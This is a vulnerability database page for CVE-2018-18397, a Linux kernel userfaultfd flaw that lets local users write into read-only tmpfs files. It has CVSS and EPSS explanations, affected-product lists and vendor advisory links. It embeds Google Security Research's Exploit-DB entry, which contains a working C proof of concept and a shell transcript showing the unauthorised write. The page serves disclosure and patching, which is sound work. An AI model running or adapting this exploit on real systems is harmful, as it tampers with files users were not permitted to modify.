CVE-2018-18397 : Detail

CVE-2018-18397

5.5
/
Medium
Authorization problems
A01-Broken Access Control
0.04%V3
Local
2018-12-12
06h00 +00:00
2019-04-24
03h06 +00:00
CVE.org
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CVE Descriptions

The userfaultfd implementation in the Linux kernel before 4.19.7 mishandles access control for certain UFFDIO_ ioctl calls, as demonstrated by allowing local users to write data into holes in a tmpfs file (if the user has read-only access to that file, and that file contains holes), related to fs/userfaultfd.c and mm/userfaultfd.c.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-863 Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45983

Publication date : 2018-12-12 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Using the userfaultfd API, it is possible to first register a userfaultfd region for any VMA that fulfills vma_can_userfault(): It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA (VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that it is, for example, possible to register userfaulfd regions for shared readonly mappings of tmpfs files. Afterwards, the userfaultfd API can be used on such a region to (atomically) write data into holes in the file's mapping. This API also works on readonly shared mappings. This means that an attacker with read-only access to a tmpfs file that contains holes can write data into holes in the file. Reproducer: First, as root: ===================== root@debian:~# cd /dev/shm root@debian:/dev/shm# umask 0022 root@debian:/dev/shm# touch uffd_test root@debian:/dev/shm# truncate --size=4096 uffd_test root@debian:/dev/shm# ls -l uffd_test -rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test root@debian:/dev/shm# hexdump -C uffd_test 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00001000 root@debian:/dev/shm# ===================== Then, as a user (who has read access, but not write access, to that file): ===================== user@debian:~/uffd$ cat uffd_demo.c #define _GNU_SOURCE #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <err.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <stdio.h> static int uffd; static void *uf_mapping; int main(int argc, char **argv) { int rw_open_res = open("/dev/shm/uffd_test", O_RDWR); if (rw_open_res == -1) perror("can't open for writing as expected"); else errx(1, "unexpected write open success"); int mfd = open("/dev/shm/uffd_test", O_RDONLY); if (mfd == -1) err(1, "tmpfs open"); uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0); if (uf_mapping == (void*)-1) err(1, "shmat"); // Documentation for userfaultfd: // http://man7.org/linux/man-pages/man2/userfaultfd.2.html // http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html // https://blog.lizzie.io/using-userfaultfd.html uffd = syscall(__NR_userfaultfd, 0); if (uffd == -1) err(1, "userfaultfd"); struct uffdio_api api = { .api = 0xAA, .features = 0 }; if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API"); struct uffdio_register reg = { .range = { .start = (unsigned long)uf_mapping, .len = 0x1000 }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER"); char buf[0x1000] = {'A', 'A', 'A', 'A'}; struct uffdio_copy copy = { .dst = (unsigned long)uf_mapping, .src = (unsigned long)buf, .len = 0x1000, .mode = 0 }; if (ioctl(uffd, UFFDIO_COPY, &copy)) err(1, "copy"); if (copy.copy != 0x1000) errx(1, "copy len"); printf("x: 0x%08x\n", *(unsigned int*)uf_mapping); return 0; } user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall user@debian:~/uffd$ ./uffd_demo can't open for writing as expected: Permission denied x: 0x41414141 user@debian:~/uffd$ ===================== And now again as root: ===================== root@debian:/dev/shm# hexdump -C uffd_test 00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00001000 ===================== I asked MITRE for a CVE when I started writing the bug report, and they've already given me CVE-2018-18397. By the way, another interesting thing: Apparently userfaultfd even lets you write beyond the end of the file, and the writes become visible if the file is subsequently truncated to a bigger size? That seems wrong. As root, create an empty file: ===================== root@debian:/dev/shm# rm uffd_test root@debian:/dev/shm# touch uffd_test root@debian:/dev/shm# ls -l uffd_test -rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test root@debian:/dev/shm# ===================== Now as a user, use userfaultfd to write into it: ===================== user@debian:~/uffd$ ./uffd_demo can't open for writing as expected: Permission denied x: 0x41414141 user@debian:~/uffd$ ===================== Afterwards, to root, the file still looks empty, until it is truncated to a bigger size: ===================== root@debian:/dev/shm# ls -l uffd_test -rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test root@debian:/dev/shm# hexdump -C uffd_test root@debian:/dev/shm# truncate --size=4096 uffd_test root@debian:/dev/shm# hexdump -C uffd_test 00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00001000 root@debian:/dev/shm# =====================

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 4.19.7

Configuraton 0

Redhat>>Openshift_container_platform >> Version 3.11

Redhat>>Virtualization_host >> Version 4.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

References

https://usn.ubuntu.com/3903-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3901-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:0324
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:0202
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:0163
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3901-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3903-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:0831
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHBA-2019:0327
Tags : vendor-advisory, x_refsource_REDHAT